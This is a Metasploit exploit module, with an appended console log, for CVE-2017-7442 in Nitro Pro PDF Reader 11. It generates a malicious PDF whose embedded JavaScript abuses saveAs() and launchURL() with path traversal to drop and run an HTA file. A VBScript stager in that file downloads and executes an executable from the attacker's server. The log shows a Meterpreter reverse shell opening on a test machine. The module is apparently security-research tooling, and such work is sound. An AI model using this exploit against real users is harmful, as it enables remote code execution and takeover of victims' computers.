A z̶e̶r̶o̶ one-day exploit for Nitro Reader and Nitro Reader Pro

nitro_reader_jsapi.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution',
      'Description'    => %q{
          This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro 
          PDF Reader version 11. The saveAs() Javascript API function allows for writing
          arbitrary files to the file system. Additionally, the launchURL() function allows
          an attacker to execute local files on the file system and bypass the security dialog

          Note: This is 100% reliable.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'mr_me <steven[at]srcincite.io>',  # vulnerability discovery and exploit
        'sinn3r'                           # help with msf foo!
      ],
      'References'     =>
        [
          [ 'CVE', '2017-7442' ],
          [ 'URL', 'https://www.gonitro.com/' ],
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => false
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # truly universal
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => 'XXXX',
      'DefaultTarget'  => 0))

      register_options([
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
      ], self.class)
  end

  def build_vbs(url, stager_name)
    name_xmlhttp  = rand_text_alpha(2)
    name_adodb    = rand_text_alpha(2)
    vbs           = %Q|<script language="VBScript">
    Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP")
    #{name_xmlhttp}.open "GET","http://#{url}",False
    #{name_xmlhttp}.send
    Set #{name_adodb} = CreateObject("ADODB.Stream")
    #{name_adodb}.Open
    #{name_adodb}.Type=1
    #{name_adodb}.Write #{name_xmlhttp}.responseBody
    #{name_adodb}.SaveToFile "C:#{@temp_folder}/#{@payload_name}.exe",2
    set shellobj = CreateObject("wscript.shell")
    shellobj.Run "C:#{@temp_folder}/#{@payload_name}.exe",0
    </script>|
    vbs.gsub!(/    /,'')
    return vbs
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe/
      print_status("Sending second stage payload")
      return if ((p=regenerate_payload(cli)) == nil)
      data = generate_payload_exe( {:code=>p.encoded} )
      send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
      return
    end
  end

  def exploit
    # In order to save binary data to the file system the payload is written to a .vbs
    # file and execute it from there.
    @payload_name = rand_text_alpha(4)
    @temp_folder  = "/Windows/Temp"
    register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta")
    if datastore['SRVHOST'] == '0.0.0.0'
      lhost = Rex::Socket.source_address('50.50.50.50')
    else
      lhost = datastore['SRVHOST']
    end
    payload_src  = lhost
    payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
    stager_name = rand_text_alpha(6) + ".vbs"
    pdf = %Q|%PDF-1.7
    4 0 obj
    <<
    /Length 0
    >>
    stream
    |
    pdf << build_vbs(payload_src, stager_name)
    pdf << %Q|
    endstream endobj
    5 0 obj
    <<
    /Type /Page
    /Parent 2 0 R
    /Contents 4 0 R
    >>
    endobj
    1 0 obj
    <<
    /Type /Catalog
    /Pages 2 0 R
    /OpenAction [ 5 0 R /Fit ]
      /Names <<
        /JavaScript <<
          /Names [ (EmbeddedJS)
            <<
              /S /JavaScript
              /JS (
                    this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
                    app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
              )
            >>
          ]
        >>
      >>
    >>
    endobj
    2 0 obj
    <</Type/Pages/Count 1/Kids [ 5 0 R ]>>
    endobj
    3 0 obj
    <<>>
    endobj
    xref
    0 6
    0000000000 65535 f 
    0000000166 00000 n 
    0000000244 00000 n 
    0000000305 00000 n 
    0000000009 00000 n 
    0000000058 00000 n 
    trailer <<
    /Size 6
    /Root 1 0 R
    >>
    startxref
    327
    %%EOF|
    pdf.gsub!(/    /,'')
    file_create(pdf)
    super
  end
end

=begin
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc
[*] Processing scripts/nitro.rc for ERB directives.
resource (scripts/nitro.rc)> use exploit/windows/fileformat/nitro_reader_jsapi
resource (scripts/nitro.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (scripts/nitro.rc)> set LHOST 172.16.175.1
LHOST => 172.16.175.1
resource (scripts/nitro.rc)> exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 172.16.175.1:4444 
msf exploit(nitro_reader_jsapi) > [+] msf.pdf stored at /Users/mr_me/.msf4/local/msf.pdf
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.100.4:8080/
[*] Server started.
[*] 192.168.100.4    nitro_reader_jsapi - Sending second stage payload
[*] Sending stage (957487 bytes) to 172.16.175.232
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.232:49180) at 2017-04-05 14:01:33 -0500
[+] Deleted C:/Windows/Temp/UOIr.hta

msf exploit(nitro_reader_jsapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2412 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\researcher\Desktop>
=end